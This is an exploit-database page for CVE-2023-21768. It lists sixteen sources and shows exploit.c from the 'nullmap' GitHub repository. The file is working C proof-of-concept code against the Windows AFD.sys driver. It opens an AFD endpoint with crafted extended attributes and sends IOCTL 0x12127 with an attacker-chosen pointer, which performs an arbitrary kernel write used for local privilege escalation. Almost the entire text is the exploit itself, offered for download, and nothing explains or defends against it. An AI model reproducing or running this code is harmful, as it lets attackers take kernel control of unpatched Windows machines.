Exploit database

GH-81a1b95e26fc632ab172092758afc323

samueltulach/nullmap

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-21768

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
samueltulach/nullmapRevision 3e9563ef022f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

nullmap/nullmap/exploit.c

C · 2,966 bytes
#include "general.h"

#define AFD_NOTIFYSOCK_IOCTL 0x12127

typedef struct AFD_NOTIFYSOCK_DATA
{
	HANDLE Completion;
	PVOID Data1;
	PVOID Data2;
	PVOID PwnPtr;
	DWORD Counter;
	DWORD Timeout;
	DWORD Length;
	char Padding[0x4];
}AFD_NOTIFYSOCK_DATA;

BOOL ExploitWrite0x1(void* targetAddress)
{
	BYTE extendedAttributes[] =
	{
		0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
		0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
	};

	HANDLE completionHandle = INVALID_HANDLE_VALUE;
	NTSTATUS status = NtCreateIoCompletion(&completionHandle, MAXIMUM_ALLOWED, NULL, 1);
	if (!NT_SUCCESS(status))
		return FALSE;

	IO_STATUS_BLOCK ioStatusBlock = { 0 };
	status = NtSetIoCompletion(completionHandle, 0x1337, (UINT_PTR)&ioStatusBlock, 0, 0x100);
	if (!NT_SUCCESS(status))
		return FALSE;

	UNICODE_STRING objectFilePath = { 0 };
	objectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
	objectFilePath.Length = (USHORT)wcslen(objectFilePath.Buffer) * sizeof(wchar_t);
	objectFilePath.MaximumLength = objectFilePath.Length;

	OBJECT_ATTRIBUTES objectAttributes = { 0 };
	objectAttributes.Length = sizeof(objectAttributes);
	objectAttributes.ObjectName = &objectFilePath;
	objectAttributes.Attributes = 0x40;

	HANDLE socketHandle = INVALID_HANDLE_VALUE;
	status = NtCreateFile(&socketHandle, MAXIMUM_ALLOWED, &objectAttributes, &ioStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, extendedAttributes, sizeof(extendedAttributes));
	if (!NT_SUCCESS(status))
		return FALSE;

	AFD_NOTIFYSOCK_DATA afdNotifysockData = { 0 };
	afdNotifysockData.Completion = completionHandle;
	afdNotifysockData.Data1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	afdNotifysockData.Data2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	afdNotifysockData.Counter = 0x1;
	afdNotifysockData.Length = 0x1;
	afdNotifysockData.Timeout = 100000000;
	afdNotifysockData.PwnPtr = targetAddress;

	if (afdNotifysockData.Data1 == NULL || afdNotifysockData.Data2 == NULL)
		return FALSE;

	HANDLE eventHandle = CreateEvent(NULL, 0, 0, NULL);
	if (!eventHandle || eventHandle == INVALID_HANDLE_VALUE)
		return FALSE;

	NtDeviceIoControlFile(socketHandle, eventHandle, NULL, NULL, &ioStatusBlock, AFD_NOTIFYSOCK_IOCTL, &afdNotifysockData, 0x30, NULL, 0);

	if (completionHandle != INVALID_HANDLE_VALUE)
		CloseHandle(completionHandle);

	if (socketHandle != INVALID_HANDLE_VALUE)
		CloseHandle(completionHandle);

	if (!eventHandle && eventHandle != INVALID_HANDLE_VALUE)
		CloseHandle(eventHandle);

	if (!afdNotifysockData.Data1)
		VirtualFree(afdNotifysockData.Data1, 0, MEM_RELEASE);

	if (!afdNotifysockData.Data2)
		VirtualFree(afdNotifysockData.Data2, 0, MEM_RELEASE);

	return TRUE;
}